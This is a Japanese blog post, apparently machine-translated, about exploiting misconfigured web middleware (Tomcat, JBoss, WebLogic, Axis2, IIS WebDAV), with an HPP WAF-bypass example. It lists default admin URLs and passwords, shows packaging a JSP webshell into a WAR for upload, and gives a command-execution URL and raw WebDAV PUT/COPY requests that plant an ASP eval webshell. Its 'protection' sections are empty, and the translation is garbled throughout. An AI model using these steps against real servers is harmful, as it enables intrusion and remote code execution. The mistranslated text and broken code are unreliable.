2000P's Blog

最初のページ

中間部品の穴と保護について簡単に話します。

著者 taddei 時間 2020-03-22
all

2017-05-25に発表しました。ウェブセキュリティに分類します。熱。

ミドルウェア・ホールは、ウェブ管理者によって最も無視されやすい脆弱性であり、これはアプリケーション・コードに存在する脆弱性ではなく、アプリケーション展開環境に属する構成が不適切または不適切であるため、簡単であるといえる。このような抜け穴を防ぐ最大の難点は、中間部品の安全は誰が責任を負うべきか?私達は緊急対応事件を処理する時よくこのような状況に遭遇します。お客様のウェブサイトのコードは外注です。つまり第三者の会社が開発を担当しています。彼らはミドルウェアの安全に対する重視度と理解度は別にして、バグが発見されたらどう処理するかという話だけで、混乱しています。開発者はコード上の問題ではないと言いました。彼らは完全に安全開発の流れ(SDL)に従って行ったので、彼とは関係がないです。運営者は顔を隠しました。それ以外にも、開発者や運営者がミドルウェアの安全意識を失っていることも重要な要素であり、一部の開発者が自身のコードを安全に検査してもいいですが、コードの部分だけを審査するのは十分ではないです。このページでは、一般的なwebの中間部分の脆弱性と保護問題(記録の一部だけで、すべてを代表しない)をまとめたものを記録し、内容の一部は道兄の『白い帽子はwebの安全を語る』から抜粋し、読書ノートとしても読後感としてもカウントされる。

中間部品、容器、サーバーが馬鹿で分かりませんか?

ミドルウェアの安全問題について話していますが、これらの関係や概念を整理する必要があると思います。最初はこれらの概念に接していましたが、頭の中は糊で、中間部品、容器、サーバー、webserverなどの概念は似ていますが、違いがあります。ですから、この文章を書く時、特に資料を調べて、これらの関係を整理しようとしました。記事を参考にしました。http:/www.voidcn.com/blog/saoraozhe 3 hao/articale/p-428756.

基礎概念と役割

ここではwebミドルウェア、webサーバ、webコンテナのみを紹介します。web以外に、その概念はデータベースなどにも拡張されます。

ウェブサーバ

ウェブサーバは、httpサービスを提供するために用いられ、すなわちクライアントに情報を返すために、HTTPプロトコルを処理して、静止画またはピクチャに対する要求に応答して、ページのジャンプを制御したり、他のプログラム(ミドルウェアプログラム)などに動的要求を依頼したりすることができる。

webミドルウェア

webミドルウェアは、ソフトウェアの各コンポーネント間のコミュニケーションを容易にするために、システムソフトウェアとアプリケーションとの間の接続を提供するために使用され、1つまたは複数のアプリケーションのためのコンテナを提供することができる。

webコンテナ

ウェブコンテナは、その中にあるアプリケーションコンポーネント(JSP、SERVLET)に環境を提供するために使用され、中間部品の構成部分であり、動的言語の解析を実現している。例えばtomcatがjspを解析できるのは、その内部にjsp容器があるからです。

所属カテゴリ

webサーバ:IIS、Apache、nginx、tomcat、weblogic、websphereなど。webミドルウェア:apache tomcat、BEA WebLogic、IBM WebSphereなど。web容器:JSP容器、SERVLET容器、ASP容器など。

注意:webミドルウェアとwebサーバは重複しています。tomcatなどのwebミドルウェアもwebサーバの機能を備えているからです。

重点的に分析する

ウェブサーバは、静的なウェブページ解析(例えば、apache)を提供するだけか、またはジャンプを提供するサービスです。ウェブ中間部品(webコンテナを含む)は、動的言語を解析することができ、例えばtomcatはjsp容器を含んでいるので、もちろん静的リソースも解析することができ、web中間部品でもあり、webサーバでもある。しかし、tomcat解析の静的資源の速度はapacheに及ばないので、よく両者が結合して使用します。

Tomcatホールと保護

tomcatはapacheのミドルウェアです。jspまたはphpの解析サービスを提供します。遠隔管理と配置を便利にするために、tomcatをインストールしたらデフォルトで管理ページがあります。管理人はWAR形式のファイルをリモートでアップロードするだけで、ウェブサイトに投稿できます。この機能は管理者に便利です。同時にハッカーに方便のドアを開けました。また、tomcatにはサンプルページがありますが、処理が間違っていたら安全問題になります。

tomcat遠隔展開の脆弱性の詳細

tomcat管理住所は通常:

1

Http:/local host:8080/manager

デフォルトのアカウントのパスワード:

1

2

3

4

root/root

tomcat/tomcat

admin admin

admin 123456

tomcatパスワード爆破

デフォルトではtomcatに対して任意の設定をしないと爆破は無効ですが、アカウントのパスワードを設定すれば爆破できます。Tomcatの認証が弱いので、Base 64(ユーザ名:パスワード)符号化し、要求応答コードが401でない場合(無許可:アクセスは証拠無効で拒否されます。)ログイン成功を表します。ログインに成功したら、warファイルを直接アップロードできます。getshell(もちろんwarファイルをアップロードするにはmanager権限が必要です。)

get shellプロセス

まず私達のjsp shellファイルをwarファイルに包装します。

1

jar-cvf shell.war shell.jsp

管理ページに登録し、warファイルをアップロードすることを選択します。スクリーンショットの中間のディレクトリはアップロードが成功した後の木馬のファイルで、クリックしてブラウズすることができます。現在のディレクトリの下で直接shell.jspにアクセスします。

Session Exampleサンプルページ

デフォルトのアドレス:

1

http://local host/servlets-examples/servlet/Session Example

任意のセッション変数を設定するために、悪意のある使用はアプリケーションを破壊します。

tomcatホール保護

JBossホールと保護

JbossはJavaEEに基づくアプリケーションサーバで、tomcatと似ているのはjbossであり、遠隔的なプラットフォームもありますが、登録は必要ありません。脆弱性利用プロセスはtomcatと類似しているので、スクリーンショットで説明しない。遠隔配置の脆弱性の他に、jbossにはアンチプログレッシブ・ホールが存在します。ここでは詳しく述べません。

JBoss遠隔配置の脆弱性の詳細

デフォルトの管理バックグラウンドアドレス:

1

http://local host:8080

get shellプロセス

管理ページにアクセスして、jboss配置ページのJMX Consoneを確認してください。これはJBossの管理台プログラムです。入ったら、Jboss.deploymentカバンを見つけます。このカバンの下にflavor=URL.type=Deployment Scannerのオプションがあります。展開ページに入ると、warファイルをアップロードすることができますが、tomcatとは違って、ローカルにwarファイルをアップロードするのではなく、リモートアドレスからダウンロードするので、自分でファイルサーバを準備して、warからターゲットjbossサーバにリモートでダウンロードする必要があります。具体的な方法は、展開ページで「ADDRL」方法を見つけ、URLアドレスを入力し、invokeをクリックすることです。以上の方法のほかに、JMX-Coonsoneが提供するBSH方法もwarパッケージを配置することができます。

JBossホールガード

WebLogicホールと保護

weblogicはJavaEE構造に基づく中間部品で、weblogicデフォルト会議をインストールして7001ポートを傍受します。脆弱性利用プロセスはtomcatと類似しているので、スクリーンショットで説明しない。

Weblogic遠隔配置の脆弱性の詳細

デフォルトのバックグラウンドアドレス:

1

http://local host:7001/consolie/login/login Form.jsp

アカウントのパスワード:

get shellプロセス

weblogicバックグランドにログインしたら、配置ボタンを見つけて、クリックしてインストールを選択してください。そして、ローカルアップロードwarパッケージを選択して、リモートurlでダウンロードしてもいいです。配置が完了したら、weblogicはファイルの住所を教えてくれます。

Weblogicホール保護

axis 2ホールと保護

axis 2もapacheのプロジェクトであり、次世代のSOAPエンジンであり、任意の命令実行のための脆弱性がある。(このバグは補天プラットフォームから来ている)

axis 2コマンド実行脆弱性の詳細

デフォルトのバックグラウンドアドレス:

1

http://localhost/axis 2-admin/

デフォルトのアカウントパスワード:adminとaxis 2登録後の効果は以下の通りです。システムコマンドpocを実行します。

1

http://local host/services/Axis 2 Shell/execCmd?cmd=whomi

IISホールと保護

IISはマイクロソフトのwebdavホールを発生しやすい構成である。webdav自体はiisの拡張機能であり、オープン後はget、post以外のいくつかの要求タイプ、例えばputなどを使用することができます。しかし、設定が間違っていると、ファイルのアップロードに穴が空きます。webdavの脆弱性の他に、リモートコマンド実行の脆弱性も最近爆発しました。具体的な移行:IIS 6.0リモートコマンド実行の脆弱性(CVE-2017-7269)

IIS Webdavホール詳細

サイトにwebdavホールがあるかどうかをテストする場合、まずOPTTIONS要求を作成し、200に戻ると、リターンヘッダのAllowパラメータにはどのような方法が含まれているかを確認します。

1

2

OPTTIONS/HTTP/1.1

Host:thief.one

PUT方法があれば、txtファイルを書き込みしようとします。

1

2

3

4

5

PUT/shell.txt HTTP/1.1

HOST:thief.one

Conteet length:30

<%eval request(「nmask」%>

200に戻るとアップロードが成功したと説明し、このファイルに手動でアクセスして、存在を確認することができます。もちろん、403に戻ることもあります。このディレクトリにアップロードする権限がないことを示しています。他のディレクトリにアップロードしてみてもいいです。MOVEまたはCOPYでファイルの拡張子名を変更します。

1

2

3

COPY/shell.txt HTTP/1.1

HOST:thief.one

Destination:http:/thief.one/shell.asp

IISホール保護

Apacheホールと保護

Apache自体にも、slowhttpのような脆弱性があります。もちろん、政府はapacheの特性であって、抜け穴ではないと考えていますが、その危険が大きいことを証明しています。slowhttpの脆弱性以外にも、第三者moudeleには、アンチプログレッシブまたはリモートコマンドの実行のための脆弱性が多く存在します。

Apple slowhttp脆弱性の詳細

slowhttp脆弱性については、DDOS攻撃と防御について説明します。

HPPホール

HPPホールはウェブコンテナがhttpパラメータを扱う時の問題です。前のいくつかのウェブサーバーは多かれ少なかれこのような問題があります。

1

2

3

4

<?php

$str=$u REQUST['str];関数はGET/POSTを受け入れることができます。

Echo$str;

例えばアクセスURL:

1

http://www.xxxcom/index.php?str=hello

この時はページにハローが表示されますが、もしアクセスすると:

1

http://www.xxxcom/index.php?str=hello&str=world&str=nmask

この時、画面にnmaskが表示されます。前のパラメータの値を上書きしました。これはhttpパラメータの汚染です。

利用シーン

WAFを迂回します

1

PHP:index.php?str=1&str=select*from admin--

WAFは、値の最初の単語をチェックすることができるので、selectであればトリガされることは避けられます。

コンベヤー?ドア

これらの他にも、ウェブサーバには、動的言語を解析する際に存在するいくつかの脆弱性があります。

上のWeChat公式アカウントをスキャンして、ブログを購読してください。

人気のある記事のオススメ: